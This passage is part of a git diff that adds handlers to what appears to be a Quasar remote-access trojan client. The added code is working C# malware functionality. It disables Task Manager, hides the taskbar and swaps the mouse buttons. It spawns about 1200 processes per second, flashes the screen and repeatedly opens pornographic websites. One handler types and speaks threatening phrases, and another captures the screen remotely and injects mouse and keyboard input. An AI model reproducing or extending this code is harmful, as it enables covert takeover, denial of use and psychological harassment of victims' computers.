SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, IntPtr.Zero, SPIF_SENDCHANGE); + SystemParametersInfo(SPI_SETMOUSESPEED, 0, (IntPtr)20, SPIF_SENDCHANGE); + SetChaosColors(); + mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); + + // ── App spam: 12 dedicated threads, no mercy ───────────────────── + // Mix of exe and uri launchers, each thread uses a different pattern + // so they hit different subsystems simultaneously + lock (_spawnThreads) + { + for (int t = 0; t < 12; t++) + { + int tid = t; + var thread = new Thread(() => AppSpawnLoop(tid)) { IsBackground = true }; + _spawnThreads.Add(thread); + thread.Start(); + } + } + + // Flash/invert thread runs separately + _flashThread = new Thread(FlashLoop) { IsBackground = true }; + _flashThread.Start(); + } + + // ── Stop ───────────────────────────────────────────────────────────── + private void Stop() + { + _running = false; + + IntPtr hdc = GetDC(IntPtr.Zero); + SetDeviceGammaRamp(hdc, ref _savedRamp); + ReleaseDC(IntPtr.Zero, hdc); + EnsureColorFilterOff(); + + PlaySound(null, IntPtr.Zero, SND_PURGE); + try { if (_screamTmp != null) File.Delete(_screamTmp); } catch { } + + IntPtr tb = FindWindow("Shell_TrayWnd", null); + if (tb != IntPtr.Zero) ShowWindow(tb, SW_SHOW); + try { Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 0, RegistryValueKind.DWord); } catch { } + SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, IntPtr.Zero, SPIF_SENDCHANGE); + SystemParametersInfo(SPI_SETMOUSESPEED, 0, (IntPtr)10, SPIF_SENDCHANGE); + + var ov = _overlay; + if (ov != null && !ov.IsDisposed && ov.IsHandleCreated) + try { ov.Invoke(new Action(() => ov.Close())); } catch { } + + lock (_spawnThreads) _spawnThreads.Clear(); + try { if (_wallTmp != null && File.Exists(_wallTmp)) File.Delete(_wallTmp); } catch { } + } + + // ── App spam loop ───────────────────────────────────────────────────── + // Each thread gets a staggered starting index so they hit different apps + // and don't all contend on the same process image at the same time. + private void AppSpawnLoop(int threadId) + { + int exeIdx = threadId % _exeApps.Length; + int uriIdx = threadId % _uriApps.Length; + bool preferUri = (threadId % 3 == 0); // every 3rd thread hammers URIs + + while (_running) + { + try + { + if (preferUri) + { + Process.Start(new ProcessStartInfo + { + FileName = _uriApps[uriIdx % _uriApps.Length], + UseShellExecute = true + }); + uriIdx++; + } + else + { + Process.Start(_exeApps[exeIdx % _exeApps.Length]); + exeIdx++; + // Also sprinkle URIs every 5 exe launches + if (exeIdx % 5 == 0) + { + Process.Start(new ProcessStartInfo + { + FileName = _uriApps[uriIdx % _uriApps.Length], + UseShellExecute = true + }); + uriIdx++; + } + } + } + catch { } + // Tiny yield to avoid 100% CPU on this thread alone; + // 12 threads at 10ms each still spawns ~1200 processes/sec + Thread.Sleep(10); + } + } + + // ── Flash / invert loop ─────────────────────────────────────────────── + private void FlashLoop() + { + var rng = new Random(); + var lastJumpscare = DateTime.MinValue; + while (_running) + { + // Color filter invert ON + SendColorFilterToggle(); + Thread.Sleep(180); + // Color filter invert OFF + SendColorFilterToggle(); + Thread.Sleep(80); + + // Gamma ramp as secondary + ApplyGamma(ref _invertRamp); + Thread.Sleep(55); + ApplyGamma(ref _normalRamp); + Thread.Sleep(55); + + // Jumpscare every 2s + if ((DateTime.UtcNow - lastJumpscare).TotalSeconds >= 2.0) + { + ThreadPool.QueueUserWorkItem(_ => DoJumpscare()); + lastJumpscare = DateTime.UtcNow; + } + + // Window shake + ShakeWindows(rng); + + // Cursor teleport + SetCursorPos(rng.Next(GetSystemMetrics(SM_CXSCREEN)), rng.Next(GetSystemMetrics(SM_CYSCREEN))); + } + } + + [DllImport("user32.dll")] static extern bool SetCursorPos(int x, int y); + + private void ApplyGamma(ref RAMP ramp) + { + IntPtr hdc = GetDC(IntPtr.Zero); + SetDeviceGammaRamp(hdc, ref ramp); + ReleaseDC(IntPtr.Zero, hdc); + } + + private void DoJumpscare() + { + try + { + var t = new Thread(() => + { + var f = new Form { BackColor = Color.White, FormBorderStyle = FormBorderStyle.None, + TopMost = true, ShowInTaskbar = false, WindowState = FormWindowState.Maximized, Opacity = 1.0 }; + f.Show(); + Thread.Sleep(200); + try { f.Invoke(new Action(() => f.Close())); } catch { } + }) { IsBackground = true }; + t.SetApartmentState(ApartmentState.STA); + t.Start(); + } + catch { } + } + + private void SetTrollfaceWallpaper() + { + try + { + int sw = GetSystemMetrics(SM_CXSCREEN), sh = GetSystemMetrics(SM_CYSCREEN); + using (var face = Image.FromStream(new MemoryStream(TrollfaceBytes))) + using (var bmp = new Bitmap(sw, sh)) + using (var g = Graphics.FromImage(bmp)) + { + g.Clear(Color.Black); + for (int x = 0; x < sw; x += 150) + for (int y = 0; y < sh; y += 150) + g.DrawImage(face, x, y, 140, 140); + _wallTmp = Path.Combine(Path.GetTempPath(), "nk_wall.bmp"); + bmp.Save(_wallTmp, ImageFormat.Bmp); + } + SystemParametersInfoStr(SPI_SETDESKWALLPAPER, 0, _wallTmp, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + catch { } + } + + private void SetChaosColors() + { + int[] e = { 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 }; + uint[] c = { 0x00FF00,0xFF00FF,0xFF0000,0x00FFFF,0x00FF00,0xFF00FF,0xFF0000,0x00FFFF, + 0xFF00FF,0x00FF00,0xFF0000,0x00FFFF,0xFF00FF,0x00FF00,0x00FFFF,0xFF0000, + 0x00FF00,0xFF00FF,0x00FFFF,0xFF0000,0x00FF00,0xFF00FF }; + SetSysColors(e.Length, e, c); + } + + private void ShakeWindows(Random rng) + { + var wins = new List>(); + EnumWindows((h, _) => + { + if (!IsWindowVisible(h)) return true; + int s = GetWindowLong(h, GWL_STYLE); + if ((s & WS_MAXIMIZE) != 0 || (s & WS_MINIMIZE) != 0) return true; + RECT r; if (GetWindowRect(h, out r)) wins.Add(Tuple.Create(h, r.Left, r.Top)); + return true; + }, IntPtr.Zero); + const uint f = SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE; + int dx = rng.Next(-40,40), dy = rng.Next(-40,40); + foreach (var w in wins) SetWindowPos(w.Item1, IntPtr.Zero, w.Item2+dx, w.Item3+dy, 0, 0, f); + Thread.Sleep(25); + foreach (var w in wins) SetWindowPos(w.Item1, IntPtr.Zero, w.Item2, w.Item3, 0, 0, f); + } + + public void Dispose() => Stop(); + + // ── Overlay ────────────────────────────────────────────────────────── + private class TrollOverlay : Form + { + private readonly System.Windows.Forms.Timer _timer; + private readonly PictureBox _gifBox; + private readonly PictureBox _trollBox; + private readonly Image _gifImage; + private int _phase; + + [DllImport("user32.dll")] + static extern bool SetWindowPos(IntPtr h, IntPtr a, int x, int y, int cx, int cy, uint f); + + public TrollOverlay(byte[] trollBytes, byte[] gifBytes) + { + FormBorderStyle = FormBorderStyle.None; + TopMost = true; + ShowInTaskbar = false; + WindowState = FormWindowState.Maximized; + BackColor = Color.White; + // Opacity must stay 1.0 — fractional opacity breaks GIF animation in WinForms + + _gifImage = Image.FromStream(new MemoryStream(gifBytes)); + ImageAnimator.Animate(_gifImage, OnGifFrame); + + _gifBox = new PictureBox { Dock = DockStyle.Fill, SizeMode = PictureBoxSizeMode.StretchImage, + BackColor = Color.Black, Image = _gifImage, Visible = false }; + _trollBox = new PictureBox { Dock = DockStyle.Fill, SizeMode = PictureBoxSizeMode.Zoom, + BackColor = Color.Black, Image = Image.FromStream(new MemoryStream(trollBytes)), Visible = false }; + Controls.Add(_trollBox); + Controls.Add(_gifBox); + + _timer = new System.Windows.Forms.Timer { Interval = 80 }; + _timer.Tick += OnTick; + _timer.Start(); + } + + private void OnGifFrame(object sender, EventArgs e) + { + ImageAnimator.UpdateFrames(_gifImage); + if (!IsDisposed && IsHandleCreated) + try { Invoke(new Action(() => _gifBox.Invalidate())); } catch { } + } + + private void OnTick(object sender, EventArgs e) + { + switch (_phase % 8) + { + case 0: case 2: case 4: + _gifBox.Visible = false; _trollBox.Visible = false; BackColor = Color.White; break; + case 6: + _gifBox.Visible = false; _trollBox.Visible = false; BackColor = Color.Black; break; + case 1: case 5: + BackColor = Color.Black; _gifBox.Visible = false; _trollBox.Visible = true; break; + case 3: case 7: + BackColor = Color.Black; _trollBox.Visible = false; _gifBox.Visible = true; break; + } + _phase++; + SetWindowPos(Handle, (IntPtr)(-1), 0, 0, 0, 0, 0x0001 | 0x0002 | 0x0010); + } + + protected override void OnFormClosed(FormClosedEventArgs e) + { + _timer.Stop(); _timer.Dispose(); + ImageAnimator.StopAnimate(_gifImage, OnGifFrame); + _gifImage.Dispose(); + _trollBox.Image?.Dispose(); + base.OnFormClosed(e); + } + } + } +} diff --git a/Quasar.Client/Messages/PianoHandler.cs b/Quasar.Client/Messages/PianoHandler.cs new file mode 100644 index 0000000..3849e42 --- /dev/null +++ b/Quasar.Client/Messages/PianoHandler.cs @@ -0,0 +1,117 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class PianoHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoPlayNote; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + var note = (DoPlayNote)message; + new Thread(() => PlayNote(note.Frequency, note.DurationMs)) { IsBackground = true }.Start(); + } + + // ── waveOut P/Invoke ───────────────────────────────────────────────── + + [StructLayout(LayoutKind.Sequential)] + private struct WAVEFORMATEX + { + public ushort wFormatTag, nChannels; + public uint nSamplesPerSec, nAvgBytesPerSec; + public ushort nBlockAlign, wBitsPerSample, cbSize; + } + + [StructLayout(LayoutKind.Sequential)] + private struct WAVEHDR + { + public IntPtr lpData; + public uint dwBufferLength, dwBytesRecorded; + public IntPtr dwUser; + public uint dwFlags, dwLoops; + public IntPtr lpNext, reserved; + } + + [DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags); + [DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz); + [DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz); + [DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz); + [DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h); + + private const uint WAVE_MAPPER = 0xFFFFFFFF; + private const int SAMPLE_RATE = 44100; + + private static void PlayNote(int frequency, int durationMs) + { + try + { + int numSamples = SAMPLE_RATE * durationMs / 1000; + byte[] buf = new byte[numSamples * 2]; // 16-bit mono PCM + + int attack = Math.Min(200, numSamples / 8); + int release = Math.Min(8000, numSamples * 2 / 3); + + for (int i = 0; i < numSamples; i++) + { + double t = (double)i / SAMPLE_RATE; + + // Natural piano-like amplitude envelope + double env = 1.0; + if (i < attack) + env = (double)i / attack; + else if (i > numSamples - release) + env = (double)(numSamples - i) / release; + + // Fundamental + harmonics with exponential decay (makes it sound like a struck string) + double decay = Math.Exp(-3.5 * t); + double wave = env * ( + 0.60 * Math.Sin(2 * Math.PI * frequency * t) * (0.35 + 0.65 * decay) + + 0.22 * Math.Sin(2 * Math.PI * frequency * 2.0 * t) * decay + + 0.10 * Math.Sin(2 * Math.PI * frequency * 3.0 * t) * decay + + 0.05 * Math.Sin(2 * Math.PI * frequency * 4.0 * t) * decay + + 0.03 * Math.Sin(2 * Math.PI * frequency * 5.0 * t) * decay + ); + + short pcm = (short)(wave * 26000); + buf[i * 2] = (byte)(pcm & 0xFF); + buf[i * 2 + 1] = (byte)((pcm >> 8) & 0xFF); + } + + var fmt = new WAVEFORMATEX + { + wFormatTag = 1, // PCM + nChannels = 1, + nSamplesPerSec = SAMPLE_RATE, + wBitsPerSample = 16, + nBlockAlign = 2, + nAvgBytesPerSec = SAMPLE_RATE * 2 + }; + + IntPtr hWave; + if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return; + + GCHandle pin = GCHandle.Alloc(buf, GCHandleType.Pinned); + try + { + uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR)); + var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)buf.Length }; + waveOutPrepareHeader(hWave, ref hdr, hdrSz); + waveOutWrite(hWave, ref hdr, hdrSz); + Thread.Sleep(durationMs + 100); // wait for playback to finish + waveOutUnprepareHeader(hWave, ref hdr, hdrSz); + } + finally + { + pin.Free(); + waveOutClose(hWave); + } + } + catch { } + } + } +} diff --git a/Quasar.Client/Messages/PornSpamHandler.cs b/Quasar.Client/Messages/PornSpamHandler.cs new file mode 100644 index 0000000..f9386bd --- /dev/null +++ b/Quasar.Client/Messages/PornSpamHandler.cs @@ -0,0 +1,114 @@ +using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class PornSpamHandler : IMessageProcessor, IDisposable + { + private static readonly string[] Urls = + { + "https://www.pornhub.com", + "https://www.xvideos.com", + "https://www.xhamster.com", + "https://www.xnxx.com", + "https://www.redtube.com", + "https://www.youporn.com", + "https://www.spankbang.com", + "https://www.tube8.com", + }; + + private Thread _thread; + private volatile bool _running; + + public bool CanExecute(IMessage message) => message is DoStartPornSpam || message is DoStopPornSpam; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoStartPornSpam _: + Start(); + break; + case DoStopPornSpam _: + Stop(); + break; + } + } + + private void Start() + { + if (_running) return; + _running = true; + _thread = new Thread(() => + { + var rng = new Random(); + while (_running) + { + try + { + OpenInNewWindow(Urls[rng.Next(Urls.Length)]); + } + catch { } + Thread.Sleep(800); + } + }); + _thread.IsBackground = true; + _thread.Start(); + } + + private static void OpenInNewWindow(string url) + { + try + { + string progId = Microsoft.Win32.Registry.GetValue( + @"HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice", + "ProgId", null) as string; + + if (progId != null) + { + string command = Microsoft.Win32.Registry.GetValue( + $@"HKEY_CLASSES_ROOT\{progId}\shell\open\command", + null, null) as string; + + if (command != null) + { + string exePath = command.StartsWith("\"") + ? command.Substring(1, command.IndexOf('"', 1) - 1) + : command.Split(' ')[0]; + + if (File.Exists(exePath)) + { + string exeName = Path.GetFileNameWithoutExtension(exePath).ToLower(); + string flag = exeName == "firefox" ? "-new-window" : "--new-window"; + Process.Start(new ProcessStartInfo(exePath, $"{flag} \"{url}\"") + { + UseShellExecute = false + }); + return; + } + } + } + } + catch { } + + // Fallback if registry lookup fails + Process.Start(new ProcessStartInfo(url) { UseShellExecute = true }); + } + + private void Stop() + { + _running = false; + } + + public void Dispose() + { + Stop(); + } + } +} diff --git a/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar.Client/Messages/RemoteDesktopHandler.cs new file mode 100644 index 0000000..f4eb63e --- /dev/null +++ b/Quasar.Client/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,205 @@ +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable + { + private UnsafeStreamCodec _streamCodec; + + public override bool CanExecute(IMessage message) => message is GetDesktop || + message is DoMouseEvent || + message is DoKeyboardEvent || + message is GetMonitors; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktop msg: + Execute(sender, msg); + break; + case DoMouseEvent msg: + Execute(sender, msg); + break; + case DoKeyboardEvent msg: + Execute(sender, msg); + break; + case GetMonitors msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetDesktop message) + { + // TODO: Switch to streaming mode without request-response once switched from windows forms + // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis + var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex)); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (message.CreateNew) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + OnReport("Remote desktop session started"); + } + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) + { + _streamCodec?.Dispose(); + + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + BitmapData desktopData = null; + Bitmap desktop = null; + try + { + desktop = ScreenHelper.CaptureScreen(message.DisplayIndex); + desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), + ImageLockMode.ReadWrite, desktop.PixelFormat); + + using (MemoryStream stream = new MemoryStream()) + { + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(desktopData.Scan0, + new Rectangle(0, 0, desktop.Width, desktop.Height), + new Size(desktop.Width, desktop.Height), + desktop.PixelFormat, stream); + client.Send(new GetDesktopResponse + { + Image = stream.ToArray(), + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution + }); + } + } + catch (Exception) + { + if (_streamCodec != null) + { + client.Send(new GetDesktopResponse + { + Image = null, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution + }); + } + + _streamCodec = null; + } + finally + { + if (desktop != null) + { + if (desktopData != null) + { + try + { + desktop.UnlockBits(desktopData); + } + catch + { + } + } + desktop.Dispose(); + } + } + } + + private void Execute(ISender sender, DoMouseEvent message) + { + try + { + Screen[] allScreens = Screen.AllScreens; + int offsetX = allScreens[message.MonitorIndex].Bounds.X; + int offsetY = allScreens[message.MonitorIndex].Bounds.Y; + Point p = new Point(message.X + offsetX, message.Y + offsetY); + + // Disable screensaver if active before input + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + case MouseAction.RightDown: + case MouseAction.RightUp: + case MouseAction.MoveCursor: + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + break; + } + + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown); + break; + case MouseAction.RightDown: + case MouseAction.RightUp: + NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown); + break; + case MouseAction.MoveCursor: + NativeMethodsHelper.DoMouseMove(p); + break; + case MouseAction.ScrollDown: + NativeMethodsHelper.DoMouseScroll(p, true); + break; + case MouseAction.ScrollUp: + NativeMethodsHelper.DoMouseScroll(p, false); + break; + } + } + catch + { + } + } + + private void Execute(ISender sender, DoKeyboardEvent message) + { + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + + NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown); + } + + private void Execute(ISender client, GetMonitors message) + { + client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length}); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _streamCodec?.Dispose(); + } + } + } +} diff --git a/Quasar.Client/Messages/SchizophreniaHandler.cs b/Quasar.Client/Messages/SchizophreniaHandler.cs new file mode 100644 index 0000000..0166b76 --- /dev/null +++ b/Quasar.Client/Messages/SchizophreniaHandler.cs @@ -0,0 +1,231 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Runtime.InteropServices; +using System.Speech.Synthesis; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class SchizophreniaHandler : IMessageProcessor + { + [DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow(); + [DllImport("user32.dll")] private static extern bool GetWindowRect(IntPtr hWnd, out RECT rect); + [DllImport("user32.dll")] private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int w, int h, bool repaint); + [DllImport("user32.dll")] private static extern IntPtr FindWindow(string cls, string name); + [DllImport("user32.dll")] private static extern IntPtr FindWindowEx(IntPtr parent, IntPtr child, string cls, string name); + [DllImport("user32.dll")] private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam); + [DllImport("user32.dll")] private static extern int GetWindowLong(IntPtr hWnd, int index); + [DllImport("user32.dll")] private static extern int SetWindowLong(IntPtr hWnd, int index, int value); + [DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint flags, int extra); + [DllImport("user32.dll")] private static extern short VkKeyScan(char ch); + + [StructLayout(LayoutKind.Sequential)] + private struct RECT { public int Left, Top, Right, Bottom; } + + private const int GWL_STYLE = -16; + private const int LVS_AUTOARRANGE = 0x0100; + private const int LVM_GETITEMCOUNT = 0x1004; + private const int LVM_SETITEMPOSITION = 0x100F; + private const uint KEYEVENTF_KEYUP = 0x0002; + private const byte VK_SHIFT = 0x10; + + private volatile bool _running; + private readonly object _startLock = new object(); + + private static readonly string[] Phrases = + { + "THEY ARE WATCHING YOU", + "i can hear you breathing", + "the walls are closing in", + "make it stop make it stop", + "WHO IS BEHIND YOU", + "you are not alone in here", + "i see everything you do", + "we have always been here", + "DO NOT TURN AROUND", + "hahahahahahahahaha", + "there is no escape", + "im inside the computer", + "WHAT WAS THAT NOISE", + "tick tick tick tick tick", + "get out get out get out", + "your eyes are lying to you", + "i counted your keystrokes today", + "the screen is watching back", + }; + + public bool CanExecute(IMessage message) => message is DoStartSchizophrenia || message is DoStopSchizophrenia; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoStartSchizophrenia) Start(); + else if (message is DoStopSchizophrenia) Stop(); + } + + private void Start() + { + lock (_startLock) + { + if (_running) return; + _running = true; + } + Spawn(TypingChaos); + Spawn(DesktopScrambler); + Spawn(WindowShaker); + Spawn(RandomTTS); + } + + private void Stop() => _running = false; + + private void Spawn(ThreadStart ts) + { + var t = new Thread(ts) { IsBackground = true }; + t.SetApartmentState(ApartmentState.STA); + t.Start(); + } + + // --- Typing chaos: types random phrases/garbage into focused window --- + + private void TypingChaos() + { + var rng = new Random(); + while (_running) + { + Thread.Sleep(rng.Next(3000, 9000)); + if (!_running) break; + + string text = rng.Next(3) == 0 + ? new string("!@#$%^&*".ToCharArray()[rng.Next(8)], rng.Next(3, 7)) + : Phrases[rng.Next(Phrases.Length)]; + + foreach (char c in text) + { + if (!_running) break; + TypeChar(c); + Thread.Sleep(rng.Next(35, 110)); + } + } + } + + private static void TypeChar(char c) + { + short vk = VkKeyScan(c); + if (vk == -1) return; + byte key = (byte)(vk & 0xFF); + bool shift = ((vk >> 8) & 1) != 0; + if (shift) keybd_event(VK_SHIFT, 0, 0, 0); + keybd_event(key, 0, 0, 0); + keybd_event(key, 0, KEYEVENTF_KEYUP, 0); + if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); + } + + // --- Desktop icon scrambler --- + + private void DesktopScrambler() + { + var rng = new Random(); + while (_running) + { + Thread.Sleep(rng.Next(10000, 22000)); + if (!_running) break; + try { ScrambleIcons(rng); } catch { } + } + } + + private static void ScrambleIcons(Random rng) + { + IntPtr lv = GetDesktopListView(); + if (lv == IntPtr.Zero) return; + + // disable auto-arrange so icons actually move + int style = GetWindowLong(lv, GWL_STYLE); + SetWindowLong(lv, GWL_STYLE, style & ~LVS_AUTOARRANGE); + + int count = (int)SendMessage(lv, (int)LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero); + if (count <= 0) return; + + var screen = Screen.PrimaryScreen.WorkingArea; + for (int i = 0; i < count; i++) + { + int x = rng.Next(10, screen.Width - 90); + int y = rng.Next(10, screen.Height - 90); + IntPtr lParam = (IntPtr)((y << 16) | (x & 0xFFFF)); + SendMessage(lv, LVM_SETITEMPOSITION, (IntPtr)i, lParam); + Thread.Sleep(25); + } + } + + private static IntPtr GetDesktopListView() + { + IntPtr progman = FindWindow("Progman", null); + IntPtr shell = FindWindowEx(progman, IntPtr.Zero, "SHELLDLL_DefView", null); + if (shell != IntPtr.Zero) + return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null); + + // Win10+ uses WorkerW + IntPtr workerW = IntPtr.Zero; + do + { + workerW = FindWindowEx(IntPtr.Zero, workerW, "WorkerW", null); + if (workerW == IntPtr.Zero) break; + shell = FindWindowEx(workerW, IntPtr.Zero, "SHELLDLL_DefView", null); + if (shell != IntPtr.Zero) + return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null); + } while (true); + + return IntPtr.Zero; + } + + // --- Window shaker: rapidly moves active window side to side --- + + private void WindowShaker() + { + var rng = new Random(); + while (_running) + { + Thread.Sleep(rng.Next(7000, 16000)); + if (!_running) break; + + IntPtr hwnd = GetForegroundWindow(); + if (hwnd == IntPtr.Zero) continue; + if (!GetWindowRect(hwnd, out RECT r)) continue; + + int ox = r.Left, oy = r.Top; + int w = r.Right - r.Left, h = r.Bottom - r.Top; + + for (int i = 0; i < 24 && _running; i++) + { + int dx = (i % 2 == 0) ? 18 : -18; + MoveWindow(hwnd, ox + dx, oy + (i % 3 == 0 ? 6 : 0), w, h, false); + Thread.Sleep(35); + } + MoveWindow(hwnd, ox, oy, w, h, false); + } + } + + // --- Random TTS: whispers creepy phrases out loud --- + + private void RandomTTS() + { + var rng = new Random(); + while (_running) + { + Thread.Sleep(rng.Next(18000, 40000)); + if (!_running) break; + try + { + using (var ss = new SpeechSynthesizer()) + { + ss.Volume = 100; + ss.Rate = rng.Next(-3, 4); + ss.Speak(Phrases[rng.Next(Phrases.Length)]); + } + } + catch { } + } + } + } +} diff --git a/Quasar.Client/Messages/TextToSpeechHandler.cs b/Quasar.Client/Messages/TextToSpeechHandler.cs new file mode 100644 index 0000000..b333ad5 --- /dev/null +++ b/Quasar.Client/Messages/TextToSpeechHandler.cs @@ -0,0 +1,20 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System.Speech.Synthesis; + +namespace Quasar.Client.Messages +{ + public class TextToSpeechHandler : IMessageProcessor + { + private readonly SpeechSynthesizer _synth = new SpeechSynthesizer(); + + public bool CanExecute(IMessage message) => message is DoTextToSpeech; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoTextToSpeech tts && !string.IsNullOrEmpty(tts.Text)) + _synth.SpeakAsync(tts.Text); + } + } +} diff --git a/Quasar.Client/Messages/TrollExtrasHandler.cs b/Quasar.Client/Messages/TrollExtrasHandler.cs new file mode 100644 index 0000000..314bdc3 --- /dev/null +++ b/Quasar.Client/Messages/TrollExtrasHandler.cs @@ -0,0 +1,75 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class TrollExtrasHandler : IMessageProcessor + { + [DllImport("user32.dll")] private static extern bool LockWorkStation(); + [DllImport("user32.dll")] private static extern bool SwapMouseButton(bool fSwap); + [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)] + private static extern int mciSendString(string command, StringBuilder ret, int len, IntPtr callback); + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(uint uAction, uint uParam, string lpvParam, uint fuWinIni); + private const uint SPI_SETDESKWALLPAPER = 0x0014; + private const uint SPIF_UPDATEINIFILE = 0x0001; + private const uint SPIF_SENDCHANGE = 0x0002; + + public bool CanExecute(IMessage message) => + message is DoLockScreen || + message is DoCdTray || + message is DoMouseSwap || + message is DoSetWallpaper; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoLockScreen _: LockWorkStation(); break; + case DoCdTray m: new Thread(() => SpamCdTray(m.Count)) { IsBackground = true }.Start(); break; + case DoMouseSwap m: SwapMouseButton(m.Swap); break; + case DoSetWallpaper m: new Thread(() => ApplyWallpaper(m.ImageData)) { IsBackground = true }.Start(); break; + } + } + + // ── Wallpaper ───────────────────────────────────────────────────────── + + private void ApplyWallpaper(byte[] data) + { + if (data == null || data.Length == 0) return; + try + { + // Must be a BMP file on disk — SystemParametersInfo doesn't accept raw bytes. + string path = Path.Combine(Path.GetTempPath(), "wp_" + Guid.NewGuid().ToString("N") + ".bmp"); + using (var ms = new MemoryStream(data)) + using (var img = System.Drawing.Image.FromStream(ms)) + img.Save(path, System.Drawing.Imaging.ImageFormat.Bmp); + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + catch { } + } + + // ── CD tray spam ────────────────────────────────────────────────────── + + private static void SpamCdTray(int count) + { + count = Math.Max(1, Math.Min(count, 20)); + for (int i = 0; i < count; i++) + { + mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); + Thread.Sleep(700); + mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero); + Thread.Sleep(700); + } + } + + } +} diff --git a/Quasar.Client/Messages/WebsiteVisitorHandler.cs 